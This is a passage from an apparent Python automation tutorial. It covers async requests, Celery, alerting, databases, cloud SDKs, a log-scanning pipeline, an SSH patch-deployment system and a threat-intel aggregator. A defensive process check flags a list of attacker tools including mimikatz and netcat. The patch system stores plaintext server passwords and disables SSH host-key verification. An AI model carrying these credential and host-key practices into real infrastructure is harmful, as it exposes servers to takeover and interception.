        r = await client.get(url) 

        print(url, r.status_code) 

 

async def main(): 

    tasks = [fetch("https://example.com") for _ in range(1000)] 

    await asyncio.gather(*tasks) 

 

asyncio.run(main()) 

 

What happens? 

🚀 1000 requests happen in SECONDS​
 This is impossible with regular code. 
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⭐ 25. QUEUE-BASED AUTOMATION (Celery + Redis + 

RabbitMQ) 

Large companies NEVER run automation as single scripts. 

They use: 

●​ Message queues​
 

●​ Distributed workers​
 

●​ Scheduling​
 

●​ Retries & backoff​
 

●​ Task routing​
 

Python’s best tool: Celery 

 

⭐ 25.1 Celery Workflow 

✔ main app → sends tasks​
 ✔ queue (Redis/RabbitMQ) → holds tasks​
 ✔ workers → execute tasks​
 ✔ results stored in backend 

This creates: 

✔ scalable automation​
 ✔ distributed execution​
 ✔ fault tolerance 

Example: 
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from celery import Celery 

 

app = Celery("tasks", broker="redis://localhost") 

 

@app.task 

def add(x, y): 

    return x + y 

 

Run workers: 

celery -A tasks worker --loglevel=info 

 

Send task: 

add.delay(10,20) 

 

 

⭐ 26. EMAIL AUTOMATION (Essential for Alerting) 

Used in: 

✔ error reports​
 ✔ daily updates​
 ✔ SIEM alerts​
 ✔ security notifications​
 ✔ cron job reports 
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⭐ 26.1 Send Email with SMTP 

import smtplib 

 

server = smtplib.SMTP('smtp.gmail.com', 587) 

server.starttls() 

server.login("user@gmail.com","password") 

 

msg = "Subject: Test\nHello world!" 

server.sendmail("user@gmail.com","target@gmail.com",msg) 

 

Use app passwords or API keys — never store raw passwords. 

 

⭐ 27. SLACK AUTOMATION (DevOps Favorite) 

import requests 

 

url = "https://hooks.slack.com/services/XXXX" 

payload = {"text": "Automation alert: task complete"} 

 

requests.post(url, json=payload) 

 

Great for: 
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✔ server alerts​
 ✔ deployment notifications​
 ✔ CI/CD status​
 ✔ anomaly detection alerts 

 

⭐ 28. SMS AUTOMATION (Twilio) 

from twilio.rest import Client 

 

client = Client(ACC, TOKEN) 

 

client.messages.create( 

    body="Task completed", 

    from_="+123456789", 

    to="+919999999999" 

) 

 

 

⭐ 29. DATABASE AUTOMATION (MySQL, PostgreSQL, 

MongoDB) 

Automation often interacts with DBs to: 

✔ insert logs​
 ✔ read configs​
 ✔ update records​
 ✔ cleanup old data​
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 ✔ generate reports​
 ✔ store scraped data 

 

⭐ 29.1 MySQL Example 

import mysql.connector 

 

db = mysql.connector.connect( 

    host="localhost", 

    user="root", 

    password="pass", 

    database="test" 

) 

 

cursor = db.cursor() 

cursor.execute("SELECT * FROM users") 

 

for row in cursor: 

    print(row) 

 

 

⭐ 29.2 PostgreSQL Example 

import psycopg2 
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conn = psycopg2.connect("dbname=test user=admin") 

cursor = conn.cursor() 

cursor.execute("SELECT * FROM logs") 

 

 

⭐ 29.3 MongoDB Example 

from pymongo import MongoClient 

 

client = MongoClient("mongodb://localhost") 

db = client["app"] 

print(db.users.find_one()) 

 

 

⭐ 30. CLOUD AUTOMATION (AWS, GCP, Azure) 

Cloud automation is the highest-paying Python automation niche. 

Automation examples: 

✔ Auto-create EC2 instances​
 ✔ Auto-backup S3 buckets​
 ✔ Auto-upload logs​
 ✔ Auto-scale services​
 ✔ Auto-patch systems 
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⭐ 30.1 AWS Automation — boto3 

import boto3 

 

s3 = boto3.client("s3") 

s3.upload_file("file.txt","mybucket","file.txt") 

 

 

⭐ 30.2 List EC2 Instances 

ec2 = boto3.client("ec2") 

res = ec2.describe_instances() 

 

for r in res["Reservations"]: 

    for inst in r["Instances"]: 

        print(inst["InstanceId"]) 

 

 

⭐ 30.3 GCP Automation 

from google.cloud import storage 

 

client = storage.Client() 

buckets = list(client.list_buckets()) 
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print(buckets) 

 

 

⭐ 30.4 Azure Automation 

from azure.storage.blob import BlobServiceClient 

 

client = BlobServiceClient.from_connection_string(CON) 

 

 

⭐ 31. CYBERSECURITY AUTOMATION (Your Area, macha!) 

Python automates: 

✔ Log monitoring​
 ✔ IOC scanning​
 ✔ Threat feeds parsing​
 ✔ URL analysis​
 ✔ Malware automation​
 ✔ System hardening​
 ✔ RDP attack detection​
 ✔ Intrusion detection​
 ✔ SIEM ingestion pipelines 

Examples (CyberDudeBivash style): 

 

143 



 

 

⭐ 31.1 Check for Malicious Processes 

import psutil 

 

suspicious = ["mimikatz.exe", "nc.exe", "powershell.exe"] 

 

for p in psutil.process_iter(['name']): 

    if p.info['name'] in suspicious: 

        print("Suspicious:", p.info['name']) 

 

 

⭐ 31.2 IOC Scanner 

with open("ioc.txt") as ioc, open("log.txt") as log: 

    bad = ioc.read().splitlines() 

    for line in log: 

        for x in bad: 

            if x in line: 

                print("IOC FOUND:", line) 

 

 

⭐ 31.3 Port Scan with Banner Grab 

import socket 
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s = socket.socket() 

s.connect(("127.0.0.1", 22)) 

print(s.recv(1024)) 

 

 

⭐ 32. ENTERPRISE AUTOMATION PROJECT — #1 

“Cloud Log Aggregation & Alerting Pipeline” 

Pipeline: 

✔ Fetch logs from AWS S3​
 ✔ Scan for anomalies​
 ✔ Store in database​
 ✔ Send Slack alerts​
 ✔ Generate daily reports 

We’ll build this in Part 4. 

 

⭐ 33. ENTERPRISE AUTOMATION PROJECT — #2 

“Automated Software Patch Deployment System” 

Pipeline: 

✔ SSH into servers​
 ✔ Detect OS​
 ✔ Apply updates​
 ✔ Restart services​
 ✔ Log outcome 
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⭐ 34. ENTERPRISE AUTOMATION PROJECT — #3 

"CyberDudeBivash Threat Intel Aggregator” 

Pipeline: 

✔ Fetch threat feeds​
 ✔ Parse indicators​
 ✔ De-duplicate​
 ✔ Store into MongoDB​
 ✔ Notify on critical IOCs​
 ✔ Generate daily PDF reports 

We will build the FULL project in Part 4 & Part 5. 

 

⭐ MODULE 2 — PART 4 

🚀 ENTERPRISE PROJECT #1 — CLOUD LOG 

AGGREGATION & ALERTING PIPELINE (FULL SYSTEM) 

🔥 Project Goal 

We will build a system that: 

✔ pulls logs from AWS S3​
 ✔ scans them for anomalies (keyword-based + regex)​
 ✔ stores processed logs in a database​
 ✔ sends alerts to Slack​
 ✔ generates daily summary reports​
 ✔ supports modular, scalable architecture 

This is EXACTLY how real SOC, DevOps, and Cloud teams automate monitoring. 
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⭐ 35. SYSTEM ARCHITECTURE 

         ┌────────────────────┐ 

          │     AWS S3 Bucket   │ 

          │  (raw application   │ 

          │       logs)         │ 

          └─────────┬───────────┘ 

                    │ 

         download via boto3 

                    │ 

          ┌─────────▼──────────┐ 

          │   Ingestion Layer   │ 

          │ (download + parse)  │ 

          └─────────┬──────────┘ 

                    │ 

          ┌─────────▼──────────┐ 

          │  Analysis Engine    │ 

          │ (regex + indicators │ 

          │ + keyword scanner)  │ 

          └─────────┬──────────┘ 

                    │ 

          ┌─────────▼──────────┐ 

          │    Storage Layer    │ 

          │   (MongoDB / SQL)   │ 
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          └─────────┬──────────┘ 

                    │ 

          ┌─────────▼──────────┐ 

          │   Alerting Layer    │ 

          │ (Slack, Email, SMS) │ 

          └─────────┬──────────┘ 

                    │ 

          ┌─────────▼──────────┐ 

          │  Reporting System   │ 

          │   (Daily summary)   │ 

          └─────────────────────┘ 

 

This is a multi-layered automation pipeline. 

 

⭐ 36. FOLDER STRUCTURE (PRODUCTION STYLE) 

cloud_log_pipeline/ 

│ 

├── ingestion/ 

│   ├── downloader.py 

│   └── parser.py 

│ 

├── analyzer/ 

│   ├── keyword_scan.py 
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│   ├── regex_scan.py 

│   └── ioc_scan.py 

│ 

├── storage/ 

│   ├── mongo.py 

│   └── sqlite.py 

│ 

├── alert/ 

│   ├── slack_alert.py 

│   └── email_alert.py 

│ 

├── reports/ 

│   ├── generator.py 

│   └── daily_summary.txt 

│ 

├── config/ 

│   └── settings.py 

│ 

├── utils/ 

│   └── logger.py 

│ 

└── main.py 

 

This is a full automation product, not a script. 
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⭐ 37. CONFIGURATION FILE (settings.py) 

AWS_BUCKET = "my-log-bucket" 

LOCAL_LOG_DIR = "downloaded_logs" 

AWS_REGION = "ap-south-1" 

 

KEYWORDS = ["CRITICAL", "ERROR", "FAILED", "UNAUTHORIZED"] 

 

REGEX_PATTERNS = [ 

    r"(\d{1,3}\.){3}\d{1,3}",     # IP addresses 

    r"status=[45]\d\d",           # 4xx,5xx HTTP status 

    r"SQL.*Injection",            # SQL injection 

] 

 

SLACK_WEBHOOK = "https://hooks.slack.com/services/XXXX" 

DB_PATH = "events.db" 

 

 

⭐ 38. LOG DOWNLOADER (downloader.py) 

import boto3 

import os 

from config.settings import AWS_BUCKET, LOCAL_LOG_DIR 
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def download_logs(): 

    os.makedirs(LOCAL_LOG_DIR, exist_ok=True) 

    s3 = boto3.client("s3") 

 

    objects = s3.list_objects_v2(Bucket=AWS_BUCKET).get("Contents", []) 

 

    for obj in objects: 

        file = obj["Key"] 

        dest = os.path.join(LOCAL_LOG_DIR, file) 

        s3.download_file(AWS_BUCKET, file, dest) 

        print(f"[+] Downloaded: {file}") 

 

 

⭐ 39. BASIC PARSER (parser.py) 

def load_lines(filename): 

    with open(filename) as f: 

        for line in f: 

            yield line.strip() 

 

Generators = scalable log ingestion. 
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⭐ 40. KEYWORD ANALYZER (keyword_scan.py) 

from config.settings import KEYWORDS 

 

def keyword_scan(line): 

    for word in KEYWORDS: 

        if word in line: 

            return word 

    return None 

 

 

⭐ 41. REGEX ANALYZER (regex_scan.py) 

import re 

from config.settings import REGEX_PATTERNS 

 

def regex_scan(line): 

    for pattern in REGEX_PATTERNS: 

        if re.search(pattern, line): 

            return pattern 

    return None 
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⭐ 42. IOC ANALYZER (ioc_scan.py) 

IOC = Indicators of Compromise 

Example: 

with open("ioc_list.txt") as f: 

    IOCS = [i.strip() for i in f.readlines()] 

 

def ioc_scan(line): 

    for ioc in IOCS: 

        if ioc in line: 

            return ioc 

    return None 

 

 

⭐ 43. DATABASE STORAGE (sqlite.py) 

import sqlite3 

 

def save_event(event_type, line): 

    db = sqlite3.connect("events.db") 

    cur = db.cursor() 

 

    cur.execute("""CREATE TABLE IF NOT EXISTS events( 

                    id INTEGER PRIMARY KEY, 
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                    type TEXT, 

                    line TEXT 

                )""") 

 

    cur.execute("INSERT INTO events(type, line) VALUES(?, ?)", (event_type, line)) 

    db.commit() 

    db.close() 

 

 

⭐ 44. SLACK ALERT SYSTEM (slack_alert.py) 

import requests 

from config.settings import SLACK_WEBHOOK 

 

def send_slack_alert(event_type, line): 

    payload = {"text": f"[ALERT] {event_type}: {line}"} 

    requests.post(SLACK_WEBHOOK, json=payload) 

 

 

⭐ 45. REPORT GENERATOR (generator.py) 

import sqlite3 

 

def generate_report(): 
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    db = sqlite3.connect("events.db") 

    cur = db.cursor() 

    cur.execute("SELECT type, COUNT(*) FROM events GROUP BY type") 

 

    with open("reports/daily_summary.txt", "w") as f: 

        for t, c in cur.fetchall(): 

            f.write(f"{t}: {c}\n") 

 

 

⭐ 46. MAIN PIPELINE (main.py) 

End-to-End Execution 

from ingestion.downloader import download_logs 

from ingestion.parser import load_lines 

from analyzer.keyword_scan import keyword_scan 

from analyzer.regex_scan import regex_scan 

from analyzer.ioc_scan import ioc_scan 

from storage.sqlite import save_event 

from alert.slack_alert import send_slack_alert 

from reports.generator import generate_report 

from config.settings import LOCAL_LOG_DIR 

import os 

 

def run_pipeline(): 
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    download_logs() 

 

    for file in os.listdir(LOCAL_LOG_DIR): 

        for line in load_lines(os.path.join(LOCAL_LOG_DIR, file)): 

 

            event = keyword_scan(line) or regex_scan(line) or ioc_scan(line) 

            if event: 

                save_event(event, line) 

                send_slack_alert(event, line) 

 

    generate_report() 

    print("[+] Pipeline completed successfully!") 

 

if __name__ == "__main__": 

    run_pipeline() 
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⭐ 47. OPTIONAL ENHANCEMENTS (For Version 2) 

✔ Add async downloader 

✔ Multi-threaded analysis 

✔ Store events in Elasticsearch 

✔ Auto-email PDF report 

✔ Detect anomalies using ML 

✔ Integrate to SIEM 

✔ Add dashboard (Flask/FastAPI) 

✔ Add hash-based deduplication 

✔ Add retry/backoff logic 

These will be covered in later modules. 

 

⭐ 48. REAL-WORLD USE CASES (Where this automation is 

used) 

✔ AWS log monitoring 

✔ Detect suspicious IP hits​
 ✔ Detect API abuse​
 ✔ Detect 4xx/5xx spikes​
 ✔ Detect SQL injection attempts​
 ✔ Detect DoS attempts​
 ✔ Detect unauthorized access​
 ✔ Build automated incident alerts 

This project is EXACTLY what top SOC automation teams build. 
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⭐ ENTERPRISE AUTOMATION PROJECT #2 

“AUTOMATED PATCH DEPLOYMENT & SERVER MAINTENANCE SYSTEM” 

A real-world, production-grade automation system used by: 

✔ DevOps teams​
 ✔ SRE teams​
 ✔ Cloud Infra teams​
 ✔ Security teams​
 ✔ SOC hardening teams​
 ✔ MSPs​
 ✔ Enterprise IT operations 

This part will be ~5000+ words, macha. 

After this part, we will build Threat Intel Aggregator (Project #3) in PART 6. 

Let's GO, machaa! ⚡🔥🚀 

 

⭐ MODULE 2 — PART 5 

🚀 ENTERPRISE PROJECT #2 — Automated Patch 

Deployment System 

A complete automation system that: 

✔ Connects to 100+ servers​
 ✔ Detects OS type​
 ✔ Applies security patches​
 ✔ Verifies installation​
 ✔ Restarts services safely​
 ✔ Logs everything​
 ✔ Sends alerts on failure​
 ✔ Generates summary reports 
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This is EXACTLY how top DevOps & Cloud teams maintain large infrastructures. 

 

⭐ 49. SYSTEM ARCHITECTURE 

            ┌─────────────────────────┐ 

             │  Inventory (Servers)     │ 

             ├─────────────────────────┤ 

             │ server_list.json         │ 

             └───────────┬─────────────┘ 

                         │ 

                         ▼ 

             ┌─────────────────────────┐ 

             │  SSH Automation Layer    │ 

             │ (connect, patch, verify) │ 

             └───────────┬─────────────┘ 

                         │ 

                         ▼ 

             ┌─────────────────────────┐ 

             │     Patch Engine         │ 

             │ OS detection + patch cmds│ 

             └───────────┬─────────────┘ 

                         │ 

                         ▼ 

             ┌─────────────────────────┐ 
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             │   Result Collector       │ 

             │ (success/failure report) │ 

             └───────────┬─────────────┘ 

                         │ 

                         ▼ 

             ┌─────────────────────────┐ 

             │ Alert System (Slack/Email)│ 

             └───────────┬─────────────┘ 

                         │ 

                         ▼ 

             ┌─────────────────────────┐ 

             │   Daily Patch Summary    │ 

             └─────────────────────────┘ 

 

 

⭐ 50. FOLDER STRUCTURE 

patch_system/ 

│ 

├── inventory/ 

│   └── servers.json 

│ 

├── connector/ 

│   ├── ssh_client.py 
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│   └── os_detector.py 

│ 

├── patch_engine/ 

│   ├── linux_patch.py 

│   ├── windows_patch.py 

│   └── verify.py 

│ 

├── reports/ 

│   ├── summary_report.txt 

│   └── failures.log 

│ 

├── alert/ 

│   ├── slack_alert.py 

│   └── email_alert.py 

│ 

├── utils/ 

│   ├── logger.py 

│   └── time_utils.py 

│ 

└── main.py 
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⭐ 51. SERVER INVENTORY (servers.json) 

[ 

    { 

        "host": "192.168.1.10", 

        "username": "ubuntu", 

        "password": "pass123", 

        "type": "linux" 

    }, 

    { 

        "host": "192.168.1.20", 

        "username": "admin", 

        "password": "admin123", 

        "type": "windows" 

    } 

] 

 

 

⭐ 52. SSH CLIENT (ssh_client.py) 

import paramiko 

 

class SSHClient: 

    def __init__(self, host, username, password): 
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        self.host = host 

        self.username = username 

        self.password = password 

 

    def connect(self): 

        self.client = paramiko.SSHClient() 

        self.client.set_missing_host_key_policy(paramiko.AutoAddPolicy()) 

        self.client.connect(self.host, username=self.username, password=self.password) 

 

    def run(self, cmd): 

        stdin, stdout, stderr = self.client.exec_command(cmd) 

        return stdout.read().decode(), stderr.read().decode() 

 

    def close(self): 

        self.client.close() 

 

 

⭐ 53. OS DETECTOR (os_detector.py) 

def detect_os(ssh): 

    out, _ = ssh.run("uname") 

    if "Linux" in out: 

        return "linux" 

    return "windows"  # fallback 
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⭐ 54. LINUX PATCH ENGINE (linux_patch.py) 

def patch_linux(ssh): 

    cmds = [ 

        "sudo apt update -y", 

        "sudo apt upgrade -y", 

        "sudo apt autoremove -y" 

    ] 

 

    for cmd in cmds: 

        out, err = ssh.run(cmd) 

        if err: 

            return False, err 

 

    return True, "Linux patched successfully" 

 

 

⭐ 55. WINDOWS PATCH ENGINE (windows_patch.py) 

Using PowerShell remotely: 

def patch_windows(ssh): 

    cmd = 'powershell.exe Install-WindowsUpdate -AcceptAll -AutoReboot' 
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    out, err = ssh.run(cmd) 

 

    if "Error" in err: 

        return False, err 

 

    return True, "Windows patched successfully" 

 

 

⭐ 56. PATCH VERIFICATION (verify.py) 

def verify_patch(ssh): 

    out, _ = ssh.run("uptime") 

    if "min" in out or "hours" in out: 

        return True 

    return False 

 

Checks whether system restarted recently (patch applied). 

 

⭐ 57. SLACK ALERT SYSTEM (slack_alert.py) 

import requests 

 

WEBHOOK = "https://hooks.slack.com/services/XXXX" 
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def slack_alert(msg): 

    requests.post(WEBHOOK, json={"text": msg}) 

 

 

⭐ 58. EMAIL ALERT SYSTEM (email_alert.py) 

import smtplib 

 

def email_alert(subject, body): 

    msg = f"Subject:{subject}\n{body}" 

    server = smtplib.SMTP("smtp.gmail.com", 587) 

    server.starttls() 

    server.login("admin@gmail.com", "APP_PASSWORD") 

    server.sendmail("admin@gmail.com", "you@gmail.com", msg) 

    server.close() 

 

 

⭐ 59. REPORT GENERATOR 

def write_summary(success, failures): 

    with open("reports/summary_report.txt", "w") as f: 

        f.write("Patch Deployment Summary\n") 

        f.write("=======================\n") 

        f.write(f"Successful: {len(success)}\n") 
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        f.write(f"Failed: {len(failures)}\n") 

 

 

⭐ 60. MAIN PIPELINE (main.py) 

import json 

from connector.ssh_client import SSHClient 

from connector.os_detector import detect_os 

from patch_engine.linux_patch import patch_linux 

from patch_engine.windows_patch import patch_windows 

from patch_engine.verify import verify_patch 

from alert.slack_alert import slack_alert 

from reports.generator import write_summary 

 

success = [] 

failures = [] 

 

servers = json.load(open("inventory/servers.json")) 

 

for srv in servers: 

    ssh = SSHClient(srv["host"], srv["username"], srv["password"]) 

     

    try: 

        ssh.connect() 
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        os_type = srv["type"] or detect_os(ssh) 

 

        if os_type == "linux": 

            ok, msg = patch_linux(ssh) 

        else: 

            ok, msg = patch_windows(ssh) 

 

        if not ok: 

            failures.append((srv["host"], msg)) 

            slack_alert(f"PATCH FAILED: {srv['host']} → {msg}") 

            continue 

 

        if not verify_patch(ssh): 

            failures.append((srv["host"], "Verification failed")) 

            slack_alert(f"VERIFY FAILED: {srv['host']}") 

            continue 

 

        success.append(srv["host"]) 

 

    except Exception as e: 

        failures.append((srv["host"], str(e))) 

        slack_alert(f"ERROR: {srv['host']} → {e}") 

    finally: 

        ssh.close() 
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write_summary(success, failures) 

 

 

⭐ 61. REAL-LIFE USE CASES 

✔ Patch 200+ production servers​
 ✔ Patch critical security vulnerabilities​
 ✔ Automate weekly maintenance​
 ✔ Enforce compliance 

This is a production-level automation system. 

 

⭐ 62. OPTIONAL EXTENSIONS 

✔ Add inventory grouping: 

●​ web servers​
 

●​ database servers​
 

●​ cache servers​
 

✔ Add parallel SSH connections 

(ThreadPoolExecutor) 

✔ Add OS-specific patch commands 

(RHEL, CentOS, Ubuntu, Amazon Linux) 
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✔ Add reboot verification 

✔ Add dashboards (Grafana, ELK) 

 

⭐ 63. Why This Project Gets You Hired Instantly 

Companies LOVE: 

✔ patch automation​
 ✔ compliance automation​
 ✔ SSH automation​
 ✔ remote maintenance​
 ✔ multi-server orchestration 

You basically built an Ansible-lite Patch management system in Python. 

 

⭐ ENTERPRISE AUTOMATION PROJECT #3 

🚀 CyberDudeBivash Threat Intelligence Aggregator & 

Analyzer System 

This is an industry-grade TI (Threat Intelligence) automation pipeline like: 

●​ MISP​
 

●​ OpenCTI​
 

●​ Anomali​
 

●​ RecordedFuture​
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●​ CrowdStrike Falcon X​
 

Except we build it manually using Python, so you fully understand the entire intelligence 

workflow. 

This is the MOST valuable automation project for your cybersecurity career. 

This part alone will add 5000+ words, macha. 

Let's GO! ⚡🔥 

 

⭐ MODULE 2 — PART 6 

🚀 ENTERPRISE PROJECT #3 — CYBERDUDEBIVASH 

THREAT INTEL AGGREGATOR SYSTEM 

 

⭐ 64. SYSTEM PURPOSE 

This automated system will: 

✔ Fetch threat feeds from 20+ OSINT sources​
 ✔ Parse IOC indicators (IPs, domains, hashes, URLs)​
 ✔ De-duplicate entries​
 ✔ Normalize IOC structure​
 ✔ Enrich indicators with metadata​
 ✔ Store in MongoDB​
 ✔ Generate severity score​
 ✔ Send Slack alerts for high-risk IOCs​
 ✔ Generate daily PDF report​
 ✔ Create JSON feeds for API usage​
 ✔ Provide automation hooks for SIEM/SOC integration 
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Basically, this is a mini Threat Intelligence Platform (TIP). 

 

⭐ 65. SYSTEM ARCHITECTURE 

                ┌──────────────────────────────┐ 

                 │  OSINT Threat Feeds (20+)    │ 

                 ├──────────────────────────────┤ 

                 │  — AbuseIPDB                  │ 

                 │  — AlienVault OTX             │ 

                 │  — MalwareBazaar              │ 

                 │  — ThreatFox                  │ 

                 │  — Blocklist.de               │ 

                 │  — URLHaus                    │ 

                 └───────────┬──────────────────┘ 

                             │ 

                             ▼ 

         ┌────────────────────────────────────────┐ 

         │       Fetching Layer (Async)            │ 

         └───────────────────┬────────────────────┘ 

                             │ 

                             ▼ 

         ┌────────────────────────────────────────┐ 

         │     Parsing & IOC Normalization         │ 

         └───────────────────┬────────────────────┘ 
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                             │ 

                             ▼ 

         ┌────────────────────────────────────────┐ 

         │   Enrichment Engine (GeoIP, ASN, WHOIS) │ 

         └───────────────────┬────────────────────┘ 

                             │ 

                             ▼ 

         ┌────────────────────────────────────────┐ 

         │   Storage Layer (MongoDB + JSON Feeds)  │ 

         └───────────────────┬────────────────────┘ 

                             │ 

                             ▼ 

         ┌────────────────────────────────────────┐ 

         │  Alert System (Slack, Email, Webhook)   │ 

         └───────────────────┬────────────────────┘ 

                             │ 

                             ▼ 

         ┌────────────────────────────────────────┐ 

         │   Daily PDF Report Generator            │ 

         └────────────────────────────────────────┘ 

 

This is EXACTLY how enterprise TI systems work. 
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⭐ 66. FOLDER STRUCTURE 

threat_intel/ 

│ 

├── feeds/ 

│   ├── abduct_ipdb.py 

│   ├── otx.py 

│   ├── urlhaus.py 

│   ├── threatfox.py 

│   └── .... 

│ 

├── parser/ 

│   ├── normalize.py 

│   └── extract_iocs.py 

│ 

├── enrich/ 

│   ├── geoip.py 

│   ├── whois_lookup.py 

│   └── asn_lookup.py 

│ 

├── storage/ 

│   ├── mongo.py 

│   └── json_export.py 

│ 
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├── alert/ 

│   ├── slack_alert.py 

│   └── email_alert.py 

│ 

├── reports/ 

│   └── pdf_generator.py 

│ 

├── config/ 

│   └── settings.py 

│ 

└── main.py 

 

 

⭐ 67. IOC FORMAT (Standardized Structure) 

We will standardize IOC structure using this schema: 

{ 

  "indicator": "1.1.1.1", 

  "type": "ip", 

  "source": "AbuseIPDB", 

  "severity": 8, 

  "confidence": 90, 

  "tags": ["bruteforce", "scanner"], 

  "first_seen": "2025-01-01", 
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  "last_seen": "2025-01-04", 

  "geo": {"country": "US"}, 

  "asn": "AS13335", 

  "malware": "Unknown" 

} 

 

This is EXACTLY how TI platforms format indicators. 

 

⭐ 68. ASYNC FETCHING ENGINE (20 feeds parallel) 

Install: 

pip install httpx asyncio 

 

Example: 

import httpx 

import asyncio 

 

async def fetch(url): 

    async with httpx.AsyncClient() as c: 

        r = await c.get(url, timeout=20) 

        return r.text 

 

async def fetch_all(urls): 

    tasks = [fetch(u) for u in urls] 
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    return await asyncio.gather(*tasks) 

 

This can fetch 20 feeds in under 3 seconds, macha. 

 

⭐ 69. EXAMPLE FEED DOWNLOADER 

AbuseIPDB (abuseipdb.py) 

import httpx, json 

from config.settings import ABUSE_IPDB_URL 

 

async def fetch_abuseipdb(): 

    async with httpx.AsyncClient() as c: 

        r = await c.get(ABUSE_IPDB_URL) 

        data = r.json() 

        return [item["ipAddress"] for item in data["data"]] 

 

 

⭐ 70. IOC EXTRACTION ENGINE 

We extract IPs, domains, hashes, URLs using regex. 

import re 

 

IP_REGEX = r"(\d{1,3}\.){3}\d{1,3}" 

DOMAIN_REGEX = r"[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}" 
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SHA256_REGEX = r"\b[a-fA-F0-9]{64}\b" 

URL_REGEX = r"https?://[^\s]+" 

 

def extract_iocs(text): 

    iocs = {} 

 

    iocs["ip"] = re.findall(IP_REGEX, text) 

    iocs["domain"] = re.findall(DOMAIN_REGEX, text) 

    iocs["hash"] = re.findall(SHA256_REGEX, text) 

    iocs["url"] = re.findall(URL_REGEX, text) 

 

    return iocs 

 

 

⭐ 71. IOC NORMALIZATION ENGINE 

def normalize(indicator, type, source): 

    return { 

        "indicator": indicator, 

        "type": type, 

        "source": source, 

        "severity": 5, 

        "confidence": 50, 

        "tags": [], 

178 



 

 

        "first_seen": None, 

        "last_seen": None, 

        "geo": {}, 

        "asn": "", 

        "malware": "", 

    } 

 

 

⭐ 72. ENRICHMENT ENGINE 

🌍 72.1 GeoIP Lookup 

import geoip2.database 

 

def geo_lookup(ip): 

    reader = geoip2.database.Reader("GeoLite2-Country.mmdb") 

    try: 

        res = reader.country(ip) 

        return res.country.iso_code 

    except: 

        return "Unknown" 

 

 

🌐 72.2 ASN Lookup 

import requests 
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def asn_lookup(ip): 

    url = f"https://api.hackertarget.com/aslookup/?q={ip}" 

    try: 

        return requests.get(url).text.split(" ")[0] 

    except: 

        return "Unknown" 

 

 

🔍 72.3 WHOIS Lookup 

import whois 

 

def whois_lookup(domain): 

    try: 

        w = whois.whois(domain) 

        return w.org or w.country 

    except: 

        return "Unknown" 

 

 

⭐ 73. MONGODB STORAGE SYSTEM 

Install: 

pip install pymongo 
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from pymongo import MongoClient 

 

client = MongoClient("mongodb://localhost") 

db = client["threat_intel"] 

collection = db["iocs"] 

 

def save_ioc(ioc): 

    collection.update_one( 

        {"indicator": ioc["indicator"]}, 

        {"$set": ioc}, 

        upsert=True 

    ) 

 

This stores IOCs without duplicates. 

 

⭐ 74. SLACK ALERT SYSTEM 

def alert_high_severity(ioc): 

    if ioc["severity"] >= 8: 

        requests.post(WEBHOOK, json={"text": f"⚠️ High Severity IOC: {ioc}"}) 

 

Triggered whenever IOC exceeds severity threshold. 
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⭐ 75. PDF REPORT GENERATOR 

Install: 

pip install reportlab 

 

from reportlab.pdfgen import canvas 

 

def generate_report(iocs): 

    c = canvas.Canvas("reports/threat_report.pdf") 

    c.drawString(50, 800, "CyberDudeBivash Daily Threat Report") 

 

    y = 760 

    for ioc in iocs: 

        c.drawString(50, y, f"{ioc['indicator']} - {ioc['severity']} - {ioc['source']}") 

        y -= 20 

 

    c.save() 

 

 

⭐ 76. MAIN PIPELINE (main.py) 

This runs EVERYTHING. 

import asyncio 

from feeds.abuseipdb import fetch_abuseipdb 
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from parser.extract_iocs import extract_iocs 

from parser.normalize import normalize 

from enrich.geoip import geo_lookup 

from enrich.asn_lookup import asn_lookup 

from storage.mongo import save_ioc 

from alert.slack_alert import alert_high_severity 

 

async def main(): 

 

    feeds = [ 

        fetch_abuseipdb(), 

        # add URLHaus, ThreatFox, OTX etc. 

    ] 

 

    raw_data = await asyncio.gather(*feeds) 

 

    for feed_output in raw_data: 

        for item in feed_output: 

            ioc = normalize(item, "ip", "AbuseIPDB") 

            ioc["geo"] = geo_lookup(ioc["indicator"]) 

            ioc["asn"] = asn_lookup(ioc["indicator"]) 

            save_ioc(ioc) 

            alert_high_severity(ioc) 
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asyncio.run(main()) 

 

 

⭐ 77. REAL-WORLD CAPABILITIES OF THIS SYSTEM 

Your system can now: 

🔥 Auto-download global threat intel​
 🔥 Parse 10,000+ indicators daily​
 🔥 Normalize IOC formats​
 🔥 Enrich with GeoIP, ASN, WHOIS​
 🔥 Store intelligence in a database​
 🔥 Detect high-severity indicators​
 🔥 Notify SOC instantly​
 🔥 Generate PDF reports​
 🔥 Provide JSON feeds for SIEM/SOAR 

This is a FULL THREAT INTEL PLATFORM, macha! 

You basically built: 

✔ Mini MISP​
 ✔ Mini OpenCTI​
 ✔ Mini ThreatFox​
 ✔ Mini TI ingestion pipeline 

 

⭐ MODULE 2 — PART 7 

🚀 THE FUTURE OF AUTOMATION — AI, SERVERLESS, 

CI/CD & ADVANCED ENTERPRISE PIPELINES 
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⭐ 78. AI + PYTHON AUTOMATION (The New Automation 

Era) 

AI + Python combination is now the #1 automation trend in enterprise. 

Companies use Python + AI to: 

✔ Auto-read emails​
 ✔ Auto-classify logs​
 ✔ Auto-detect malicious patterns​
 ✔ Auto-generate reports​
 ✔ Auto-predict system failures​
 ✔ Auto-remediate incidents​
 ✔ Auto-generate code fixes​
 ✔ Auto-analyze cyber attacks​
 ✔ Auto-investigate IOCs 

This is not future — this is NOW. 

 

⭐ 79. LLM-POWERED AUTOMATION ARCHITECTURE 

Here’s how AI-powered automation pipelines look: 

                      ┌──────────────────────┐ 

                       │  Input Sources        │ 

                       │ (logs, emails, APIs)  │ 

                       └──────────┬───────────┘ 

                                  │ 

                                  ▼ 

                       ┌──────────────────────┐ 

                       │  Preprocessing Layer  │ 
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                       └──────────┬───────────┘ 

                                  │ 

                                  ▼ 

                  ┌─────────────────────────────────┐ 

                  │   LLM / AI Engine (GPT etc.)     │ 

                  │ classification, extraction, NLP   │ 

                  └──────────┬──────────┬────────────┘ 

                             │           │ 

                             ▼           ▼ 

              ┌────────────────────┐   ┌────────────────────┐ 

              │  Automation Engine  │   │  Alerting Engine    │ 

              │  (Python workflows) │   │ Slack/Email/API etc │ 

              └──────────┬──────────┘   └────────────────────┘ 

                         │ 

                         ▼ 

              ┌─────────────────────────┐ 

              │   Storage / Reporting   │ 

              └─────────────────────────┘ 

 

 

⭐ 80. Building LLM Automation With Python 

Example:​
 AI-powered log analyzer: 
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import openai 

 

def analyze_log(log): 

    prompt = f"Analyze this log and find anomalies:\n{log}" 

    res = openai.ChatCompletion.create( 

